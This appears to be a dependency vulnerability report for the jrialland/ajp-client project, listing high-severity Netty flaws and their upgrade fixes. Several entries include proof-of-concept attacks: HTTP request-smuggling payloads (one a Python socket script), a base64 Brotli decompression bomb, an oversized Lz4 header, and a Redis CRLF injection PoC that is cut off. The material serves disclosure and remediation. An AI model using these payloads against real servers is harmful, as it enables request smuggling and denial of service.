Vulnerabilities |
34 via 34 paths |
|---|---|
Dependencies |
40 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: io.netty:netty-codec-dns
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-dns@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
Affected versions of this package are vulnerable to Null Byte Interaction Error (Poison Null Byte) due to inadequate validation of domain name labels and lengths in the encodeDomainName and decodeDomainName components. An attacker can cause DNS cache poisoning, bypass domain validation, or trigger excessive memory allocation by supplying specially crafted domain names or malicious DNS responses. This can result in downstream failures, silent truncation of domain names, and parser confusion across different DNS implementations.
Remediation
Upgrade io.netty:netty-codec-dns to version 4.1.133.Final, 4.2.13.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.
Note:
This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.
PoC
@Test
public void test() {
EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
ByteBuf request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
"HTTP/1.1 200 OK\r\n\r\n";
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));
// Response 1
HttpResponse response = channel.readInbound();
assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
LastHttpContent last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 2
response = channel.readInbound();
assertEquals(HttpResponseStatus.OK, response.status());
last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 3
FullHttpResponse response1 = channel.readInbound();
assertTrue(response1.decoderResult().isFailure());
assertEquals(0, response1.content().readableBytes());
response1.release();
assertFalse(channel.finish());
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
io.netty:netty-codec is an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.
PoC
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Remediation
Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
io.netty:netty-codec is an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.
Remediation
Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.
References
high severity
new
- Vulnerable module: io.netty:netty-codec-haproxy
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-haproxy@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime in the parsing process of nested PP2_TYPE_SSL TLVs within the HAProxy PROXY protocol v2 codec. An attacker can cause memory exhaustion by sending syntactically valid headers containing deeply nested PP2_TYPE_SSL TLVs, which leads to a memory leak as the underlying buffer remains pinned.
Remediation
Upgrade io.netty:netty-codec-haproxy to version 4.1.135.Final, 4.2.15.Final or higher.
References
high severity
new
- Vulnerable module: io.netty:netty-codec-haproxy
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-haproxy@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through improper handling of TLV length in the readNextTLV function. An attacker can cause resource exhaustion and denial of service by sending a specially crafted HAProxy protocol message with a TLV length below the required minimum, leading to an unreleased retained slice and eventual memory leak.
Remediation
Upgrade io.netty:netty-codec-haproxy to version 4.1.135.Final, 4.2.15.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.125.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling via the parsing of chunk extensions in HTTP/1.1 messages with chunked encoding. An attacker can bypass HTTP request boundaries by sending specially crafted HTTP requests that exploit differences in how standalone newline characters are parsed between reverse proxies and the backend, potentially allowing them to smuggle additional requests.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.125.Final, 4.2.5.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.132.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.
PoC
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.
PoC
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.125.Final.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.
PoC
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.125.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.124.Final.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the improper handling of concurrently active streams per connection. An attacker can cause resource exhaustion and disrupt service availability by rapidly sending crafted frames, such as WINDOW_UPDATE, HEADERS, or PRIORITY, that manipulate the server's stream reset logic, leading to unbounded concurrent stream processing.
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.124.Final, 4.2.4.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.132.Final.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the verifyContinuationFrame function. An attacker can cause excessive CPU consumption and render the server unresponsive by sending a large number of zero-byte CONTINUATION frames, bypassing existing size-based mitigations.
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.132.Final, 4.2.10.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.125.Final.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.
PoC
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.125.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http2
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-http2@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.
Remediation
Upgrade io.netty:netty-codec-http2 to version 4.1.133.Final, 4.2.13.Final or higher.
References
high severity
new
- Vulnerable module: io.netty:netty-codec-redis
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-redis@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the decodeLength function. An attacker can exhaust the server's direct memory pool by sending continuous streams of digits without a terminating \r\n across multiple concurrent connections, which prevents legitimate connections from being processed.
Note:
This is only exploitable if an attacker is able to open multiple concurrent connections and distribute unbounded payloads among them.
Remediation
Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.
References
high severity
new
- Vulnerable module: io.netty:netty-codec-redis
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-redis@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in RedisArrayAggregator. An attacker who sends a small RESP array header declaring a very large element count can force the aggregator to reserve a large ArrayList via the AggregateState constructor, before any child elements are sent, exhausting memory.
Remediation
Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.
References
high severity
new
- Vulnerable module: io.netty:netty-codec-redis
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-redis@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) in the RedisArrayAggregator function. An attacker can exhaust system memory by sending specially crafted Redis payloads containing deeply nested arrays, resulting in allocation of excessive state objects and collections.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.
References
high severity
new
- Vulnerable module: io.netty:netty-codec-redis
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-redis@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper cleanup of pooled direct-memory buffers in the RedisArrayAggregator function. An attacker can exhaust the JVM-wide direct-memory pool by repeatedly opening and closing pipeline connections before a RESP array aggregate completes, leading to allocation failures across all channels.
Remediation
Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.
References
high severity
new
- Vulnerable module: io.netty:netty-transport-sctp
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-transport-sctp@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.135.Final.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to unbounded nesting of composite buffers in the SCTP message reassembly process. An attacker can exhaust system memory and cause a denial of service by sending a large number of incomplete message fragments, each creating deeper buffer chains without limit.
Remediation
Upgrade io.netty:netty-transport-sctp to version 4.1.135.Final, 4.2.15.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-redis
- Introduced through: io.netty:netty-all@4.1.118.Final
Detailed paths
-
Introduced through: jrialland/ajp-client@jrialland/ajp-client › io.netty:netty-all@4.1.118.Final › io.netty:netty-codec-redis@4.1.118.FinalRemediation: Upgrade to io.netty:netty-all@4.1.133.Final.
Overview
Affected versions of this package are vulnerable to CRLF Injection in the RedisEncoder component. An attacker can inject arbitrary Redis commands or forge responses by supplying input containing CRLF sequences, which are not properly sanitized before being written to the network output buffer. This allows manipulation of the Redis protocol stream, potentially leading to unauthorized command execution or response poisoning.
Note:
This is only exploitable if user-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content, and the application does not perform its own CRLF sanitization before constructing these message objects.
PoC
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;
import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;
/**
* PoC: Redis Encoder CRLF Injection Vulnerability
*
* Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
* and ErrorRedisMessage do not validate content for CRLF characters,
* allowing Redis command injection via the RESP protocol.
*/
public class RedisEncoderCRLFInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");
testInlineCommandInjection();
testSimpleStringInjection();
testErrorMessageInjection();
System.out.println("\n=== PoC Complete ===");
}
/**
* Test 1: Inline Command Injection
* An attacker-controlled string injected into InlineCommandRedisMessage
* results in multiple Redis commands being sent.
*/
static void testInlineCommandInjection() {
System.out.println("[TEST 1] Inline Command CRLF Injection");
System.out.println("----------------------------------------");
